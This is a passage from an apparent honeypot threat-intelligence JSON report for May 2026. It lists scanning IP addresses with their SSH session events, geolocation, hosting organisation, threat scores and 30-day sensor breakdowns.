      "score_components": {
        "frequency": 22.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 188,
        "days_active_30d": 30,
        "ports_targeted_30d": 45,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T13:33:25.314000+00:00",
        "last_seen_30d": "2026-05-31T23:00:08.125000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 123,
        "Honeytrap": 42,
        "Cowrie": 6,
        "Tanner": 5,
        "ElasticPot": 4,
        "H0neytr4p": 4,
        "ConPot": 2,
        "Dicompot": 2
      }
    },
    "66.132.195.81": {
      "attack_count": 6,
      "first_seen": "2026-05-07T17:31:39.304Z",
      "last_seen": "2026-05-07T17:32:13.918Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 145,
        "days_active_30d": 30,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T03:34:25.320000+00:00",
        "last_seen_30d": "2026-05-31T14:47:33.538000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 93,
        "Honeytrap": 31,
        "ConPot": 9,
        "Cowrie": 6,
        "ElasticPot": 4,
        "Dionaea": 2
      }
    },
    "47.251.255.73": {
      "attack_count": 5,
      "first_seen": "2026-05-16T06:41:59.147Z",
      "last_seen": "2026-05-16T06:42:01.108Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "qadmin"
      ],
      "passwords_attempted": [
        "qadmin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T06:41:59.147000+00:00",
        "last_seen_30d": "2026-05-16T06:43:03.780000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "159.223.203.97": {
      "attack_count": 4,
      "first_seen": "2026-05-03T12:01:11.955Z",
      "last_seen": "2026-05-03T12:01:19.957Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 60.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.6,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 25,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T12:01:11.955000+00:00",
        "last_seen_30d": "2026-05-27T18:33:49.351000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "164.92.217.5": {
      "attack_count": 4,
      "first_seen": "2026-05-06T07:07:14.820Z",
      "last_seen": "2026-05-06T07:07:22.816Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 3.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 4,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T05:34:33.821000+00:00",
        "last_seen_30d": "2026-05-06T07:08:30.311000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "172.81.62.90": {
      "attack_count": 4,
      "first_seen": "2026-05-06T17:45:34.236Z",
      "last_seen": "2026-05-06T19:05:34.983Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398019,
      "as_org": "Dynu Systems Incorporated",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T17:45:34.236000+00:00",
        "last_seen_30d": "2026-05-06T19:06:40.249000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "64.62.156.194": {
      "attack_count": 4,
      "first_seen": "2026-05-30T14:04:14.645Z",
      "last_seen": "2026-05-30T14:04:18.679Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 74.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 29,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T06:40:24.195000+00:00",
        "last_seen_30d": "2026-05-31T05:51:48.173000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Honeytrap": 5,
        "Cowrie": 4
      }
    },
    "85.217.149.5": {
      "attack_count": 4,
      "first_seen": "2026-05-19T20:18:06.740Z",
      "last_seen": "2026-05-19T20:18:07.250Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 91.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3142,
        "days_active_30d": 29,
        "ports_targeted_30d": 1514,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T01:04:05.662000+00:00",
        "last_seen_30d": "2026-05-30T18:40:46.163000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1814,
        "Honeytrap": 1322,
        "Cowrie": 4,
        "Dionaea": 2
      }
    },
    "95.215.0.144": {
      "attack_count": 4,
      "first_seen": "2026-05-07T10:04:29.021Z",
      "last_seen": "2026-05-14T07:21:30.149Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 44050,
      "as_org": "Petersburg Internet Network ltd.",
      "threat_score": 92.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 493,
        "days_active_30d": 29,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-02T16:55:23+00:00",
        "last_seen_30d": "2026-05-30T21:51:52.023000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 362,
        "Honeytrap": 54,
        "Redishoneypot": 44,
        "Dionaea": 13,
        "ElasticPot": 6,
        "Honeyaml": 5,
        "Cowrie": 4,
        "CitrixHoneypot": 2,
        "Tanner": 2,
        "H0neytr4p": 1
      }
    },
    "2.26.104.219": {
      "attack_count": 3,
      "first_seen": "2026-05-13T12:20:09.127Z",
      "last_seen": "2026-05-13T12:21:11.945Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.success",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215590,
      "as_org": "DpkgSoft International Limited",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T12:20:09.127000+00:00",
        "last_seen_30d": "2026-05-13T12:22:19.819000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "102.141.189.142": {
      "attack_count": 2,
      "first_seen": "2026-05-08T22:00:13.147Z",
      "last_seen": "2026-05-08T22:00:25.092Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Centurion",
      "asn": 327901,
      "as_org": "Level7-AS",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T22:00:13.147000+00:00",
        "last_seen_30d": "2026-05-08T22:01:33.761000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.249.114.30": {
      "attack_count": 2,
      "first_seen": "2026-05-05T23:35:45.396Z",
      "last_seen": "2026-05-05T23:35:58.673Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Kasur",
      "asn": 151844,
      "as_org": "INetwork Pvt. Ltd.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T23:35:45.396000+00:00",
        "last_seen_30d": "2026-05-05T23:37:03.680000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "105.172.237.37": {
      "attack_count": 2,
      "first_seen": "2026-05-07T10:18:18.684Z",
      "last_seen": "2026-05-07T10:18:31.998Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": "Luanda",
      "asn": 37119,
      "as_org": "UNITEL",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T10:18:18.684000+00:00",
        "last_seen_30d": "2026-05-07T10:19:40.778000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.138.96.163": {
      "attack_count": 2,
      "first_seen": "2026-05-22T04:18:04.852Z",
      "last_seen": "2026-05-22T04:18:18.193Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T04:18:04.852000+00:00",
        "last_seen_30d": "2026-05-22T04:19:23.913000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.35.208.214": {
      "attack_count": 2,
      "first_seen": "2026-05-21T20:19:49.736Z",
      "last_seen": "2026-05-21T20:20:20.387Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Kaohsiung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T20:19:49.736000+00:00",
        "last_seen_30d": "2026-05-21T20:21:21.394000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "114.35.247.74": {
      "attack_count": 2,
      "first_seen": "2026-05-04T14:16:21.679Z",
      "last_seen": "2026-05-04T14:16:38.433Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T14:16:21.679000+00:00",
        "last_seen_30d": "2026-05-04T14:17:47.526000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.212.31.251": {
      "attack_count": 2,
      "first_seen": "2026-05-02T18:15:54.480Z",
      "last_seen": "2026-05-02T18:16:07.099Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T18:15:54.480000+00:00",
        "last_seen_30d": "2026-05-02T18:17:13.551000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.194.171.133": {
      "attack_count": 2,
      "first_seen": "2026-05-09T20:03:24.007Z",
      "last_seen": "2026-05-09T20:03:37.466Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 38841,
      "as_org": "kbro CO. Ltd.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T20:03:24.007000+00:00",
        "last_seen_30d": "2026-05-09T20:04:45.123000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.190.147.149": {
      "attack_count": 2,
      "first_seen": "2026-05-09T12:44:21.674Z",
      "last_seen": "2026-05-09T12:44:35.285Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T12:44:21.674000+00:00",
        "last_seen_30d": "2026-05-09T12:45:37.429000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.196.179.231": {
      "attack_count": 2,
      "first_seen": "2026-05-02T12:16:26.001Z",
      "last_seen": "2026-05-02T12:16:38.162Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Retiro",
      "asn": 265757,
      "as_org": "Intersur Limitada",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T12:16:26.001000+00:00",
        "last_seen_30d": "2026-05-02T12:17:43.591000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.255.91.229": {
      "attack_count": 2,
      "first_seen": "2026-05-08T22:55:59.415Z",
      "last_seen": "2026-05-08T22:56:12.476Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Mateus",
      "asn": 264483,
      "as_org": "RP Telecom",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T22:55:59.415000+00:00",
        "last_seen_30d": "2026-05-08T22:57:14.039000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.121.104.133": {
      "attack_count": 2,
      "first_seen": "2026-05-27T05:15:20.569Z",
      "last_seen": "2026-05-27T05:15:33.958Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Jun\u00edn",
      "asn": 263790,
      "as_org": "RED POWER INTERNET SRL",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T05:15:20.569000+00:00",
        "last_seen_30d": "2026-05-27T05:16:34.766000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "152.58.34.174": {
      "attack_count": 2,
      "first_seen": "2026-05-05T17:03:29.199Z",
      "last_seen": "2026-05-05T17:03:42.789Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T17:03:29.199000+00:00",
        "last_seen_30d": "2026-05-05T17:04:46.485000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "167.71.44.99": {
      "attack_count": 2,
      "first_seen": "2026-05-06T23:23:47.598Z",
      "last_seen": "2026-05-06T23:23:47.900Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T23:23:47.598000+00:00",
        "last_seen_30d": "2026-05-07T04:39:36.890000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2
      }
    },
    "177.10.203.56": {
      "attack_count": 2,
      "first_seen": "2026-05-03T14:11:34.074Z",
      "last_seen": "2026-05-03T14:11:46.746Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campina Grande",
      "asn": 263025,
      "as_org": "ISPTEC Sistemas de Comunicacao Eireli",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T14:11:34.074000+00:00",
        "last_seen_30d": "2026-05-03T14:13:26.317000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.230.144.133": {
      "attack_count": 2,
      "first_seen": "2026-05-03T08:34:14.103Z",
      "last_seen": "2026-05-03T08:34:26.600Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Cuapiaxtla de Madero",
      "asn": 13999,
      "as_org": "Mega Cable, S.A. de C.V.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T08:34:14.103000+00:00",
        "last_seen_30d": "2026-05-03T08:35:35.656000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.55.176.9": {
      "attack_count": 2,
      "first_seen": "2026-05-08T15:47:09.281Z",
      "last_seen": "2026-05-08T15:47:21.859Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Pedro Leopoldo",
      "asn": 262514,
      "as_org": "BTT TELECOMUNICACOES S.A.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:47:09.281000+00:00",
        "last_seen_30d": "2026-05-08T15:48:30.439000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.128.82.100": {
      "attack_count": 2,
      "first_seen": "2026-05-15T09:59:12.620Z",
      "last_seen": "2026-05-15T09:59:12.814Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-15T09:59:12.620000+00:00",
        "last_seen_30d": "2026-05-17T11:41:01.553000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 2,
        "Honeytrap": 1
      }
    },
    "179.190.226.55": {
      "attack_count": 2,
      "first_seen": "2026-05-12T22:35:22.989Z",
      "last_seen": "2026-05-12T22:35:35.991Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
